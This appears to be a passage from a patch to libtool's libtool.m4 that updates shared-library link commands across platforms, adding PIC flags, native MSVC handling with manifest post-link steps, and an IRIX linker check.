+ runpath_var=
+ _LT_TAGVAR(allow_undefined_flag, $1)=
+@@ -4470,7 +4736,8 @@ _LT_EOF
+ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+ _LT_TAGVAR(always_export_symbols, $1)=no
+ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
+- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]][[ ]]/s/.*[[ ]]//'\'' | sort | uniq > $export_symbols'
++ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
++ _LT_TAGVAR(exclude_expsyms, $1)=['[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname']
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -4569,12 +4836,12 @@ _LT_EOF
+ _LT_TAGVAR(whole_archive_flag_spec, $1)='--whole-archive$convenience --no-whole-archive'
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=
+ _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir'
+- _LT_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -4588,8 +4855,8 @@ _LT_EOF
+ _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -4607,8 +4874,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ _LT_TAGVAR(ld_shlibs, $1)=no
+ fi
+@@ -4654,8 +4921,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ _LT_TAGVAR(ld_shlibs, $1)=no
+ fi
+@@ -4785,7 +5052,7 @@ _LT_EOF
+ _LT_TAGVAR(allow_undefined_flag, $1)='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- _LT_SYS_MODULE_PATH_AIX
++ _LT_SYS_MODULE_PATH_AIX([$1])
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+ else
+@@ -4796,7 +5063,7 @@ _LT_EOF
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- _LT_SYS_MODULE_PATH_AIX
++ _LT_SYS_MODULE_PATH_AIX([$1])
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+ # -berok will link without error, but may produce a broken library.
+@@ -4840,20 +5107,63 @@ _LT_EOF
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
+- _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
+- # FIXME: Should let the user specify the lib program.
+- _LT_TAGVAR(old_archive_cmds, $1)='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- _LT_TAGVAR(fix_srcfile_path, $1)='`cygpath -w "$srcfile"`'
+- _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
++ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
++ _LT_TAGVAR(always_export_symbols, $1)=yes
++ _LT_TAGVAR(file_list_spec, $1)='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ _LT_TAGVAR(archive_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
++ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
++ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1,DATA/'\'' | $SED -e '\''/^[[AITW]][[ ]]/s/.*[[ ]]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ _LT_TAGVAR(old_postinstall_cmds, $1)='chmod 644 $oldlib'
++ _LT_TAGVAR(postlink_cmds, $1)='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
++ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
++ # FIXME: Should let the user specify the lib program.
++ _LT_TAGVAR(old_archive_cmds, $1)='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -4887,7 +5197,7 @@ _LT_EOF
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+ _LT_TAGVAR(hardcode_direct, $1)=yes
+ _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+@@ -4895,7 +5205,7 @@ _LT_EOF
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -4911,7 +5221,7 @@ _LT_EOF
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ _LT_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -4935,10 +5245,10 @@ _LT_EOF
+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -4985,16 +5295,31 @@ _LT_EOF
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- AC_LINK_IFELSE([AC_LANG_SOURCE([int foo(void) {}])],
+- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+- )
+- LDFLAGS="$save_LDFLAGS"
++ # This should be the same for all languages, so no per-tag cache variable.
++ AC_CACHE_CHECK([whether the $host_os linker accepts -exported_symbol],
++ [lt_cv_irix_exported_symbol],
++ [save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ AC_LINK_IFELSE(
++ [AC_LANG_SOURCE(
++ [AC_LANG_CASE([C], [[int foo (void) { return 0; }]],
++ [C++], [[int foo (void) { return 0; }]],
++ [Fortran 77], [[
++ subroutine foo
++ end]],
++ [Fortran], [[
++ subroutine foo
++ end]])])],
++ [lt_cv_irix_exported_symbol=yes],
++ [lt_cv_irix_exported_symbol=no])
++ LDFLAGS="$save_LDFLAGS"])
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -5079,7 +5404,7 @@ _LT_EOF
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+ else
+ _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
+@@ -5098,9 +5423,9 @@ _LT_EOF
+ _LT_TAGVAR(no_undefined_flag, $1)=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -5372,8 +5697,6 @@ _LT_TAGDECL([], [inherit_rpath], [0],
+ to runtime path list])
+ _LT_TAGDECL([], [link_all_deplibs], [0],
+ [Whether libtool must link a program against all its dependency libraries])
+-_LT_TAGDECL([], [fix_srcfile_path], [1],
+- [Fix the shell variable $srcfile for the compiler])
+ _LT_TAGDECL([], [always_export_symbols], [0],
+ [Set to "yes" if exported symbols are required])
+ _LT_TAGDECL([], [export_symbols_cmds], [2],
+@@ -5384,6 +5707,8 @@ _LT_TAGDECL([], [include_expsyms], [1],
+ [Symbols that must always be exported])
+ _LT_TAGDECL([], [prelink_cmds], [2],
+ [Commands necessary for linking programs (against libraries) with templates])
++_LT_TAGDECL([], [postlink_cmds], [2],
++ [Commands necessary for finishing linking programs])
+ _LT_TAGDECL([], [file_list_spec], [1],
+ [Specify filename containing input files])
+ dnl FIXME: Not yet implemented
+@@ -5485,6 +5810,7 @@ CC="$lt_save_CC"
+ m4_defun([_LT_LANG_CXX_CONFIG],
+ [m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+ m4_require([_LT_DECL_EGREP])dnl
++m4_require([_LT_PATH_MANIFEST_TOOL])dnl
+ if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
+ ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
+ (test "X$CXX" != "Xg++"))) ; then
+@@ -5546,6 +5872,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+
+ # Allow CC to be a program name with arguments.
+ lt_save_CC=$CC
++ lt_save_CFLAGS=$CFLAGS
+ lt_save_LD=$LD
+ lt_save_GCC=$GCC
+ GCC=$GXX
+@@ -5563,6 +5890,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ fi
+ test -z "${LDCXX+set}" || LD=$LDCXX
+ CC=${CXX-"c++"}
++ CFLAGS=$CXXFLAGS
+ compiler=$CC
+ _LT_TAGVAR(compiler, $1)=$CC
+ _LT_CC_BASENAME([$compiler])
+@@ -5726,7 +6054,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ _LT_TAGVAR(allow_undefined_flag, $1)='-berok'
+ # Determine the default libpath from the value encoded in an empty
+ # executable.
+- _LT_SYS_MODULE_PATH_AIX
++ _LT_SYS_MODULE_PATH_AIX([$1])
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+
+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -5738,7 +6066,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- _LT_SYS_MODULE_PATH_AIX
++ _LT_SYS_MODULE_PATH_AIX([$1])
+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+ # -berok will link without error, but may produce a broken library.
+@@ -5780,29 +6108,75 @@ if test "$_lt_caught_CXX_error" != yes; then
+ ;;
+
+ cygwin* | mingw* | pw32* | cegcc*)
+- # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
+- # as there is no search path for DLLs.
+- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+- _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-all-symbols'
+- _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+- _LT_TAGVAR(always_export_symbols, $1)=no
+- _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
+-
+- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- # If the export-symbols file already is a .def file (1st line
+- # is EXPORTS), use it as is; otherwise, prepend...
+- _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+- cp $export_symbols $output_objdir/$soname.def;
+- else
+- echo EXPORTS > $output_objdir/$soname.def;
+- cat $export_symbols >> $output_objdir/$soname.def;
+- fi~
+- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- else
+- _LT_TAGVAR(ld_shlibs, $1)=no
+- fi
+- ;;
++ case $GXX,$cc_basename in
++ ,cl* | no,cl*)
++ # Native MSVC
++ # hardcode_libdir_flag_spec is actually meaningless, as there is
++ # no search path for DLLs.
++ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
++ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
++ _LT_TAGVAR(always_export_symbols, $1)=yes
++ _LT_TAGVAR(file_list_spec, $1)='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ _LT_TAGVAR(archive_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ $SED -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ $SED -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
++ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
++ # Don't use ranlib
++ _LT_TAGVAR(old_postinstall_cmds, $1)='chmod 644 $oldlib'
++ _LT_TAGVAR(postlink_cmds, $1)='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ func_to_tool_file "$lt_outputfile"~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # g++
++ # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
++ # as there is no search path for DLLs.
++ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
++ _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-all-symbols'
++ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
++ _LT_TAGVAR(always_export_symbols, $1)=no
++ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
++
++ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ # If the export-symbols file already is a .def file (1st line
++ # is EXPORTS), use it as is; otherwise, prepend...
++ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ cp $export_symbols $output_objdir/$soname.def;
++ else
++ echo EXPORTS > $output_objdir/$soname.def;
++ cat $export_symbols >> $output_objdir/$soname.def;
++ fi~
++ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ else
++ _LT_TAGVAR(ld_shlibs, $1)=no
++ fi
++ ;;
++ esac
++ ;;
+ darwin* | rhapsody*)
+ _LT_DARWIN_LINKER_FEATURES($1)
+ ;;
+@@ -5877,7 +6251,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ ;;
+ *)
+ if test "$GXX" = yes; then
+- _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ # FIXME: insert proper C++ library support
+ _LT_TAGVAR(ld_shlibs, $1)=no
+@@ -5948,10 +6322,10 @@ if test "$_lt_caught_CXX_error" != yes; then
+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ ia64*)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ *)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
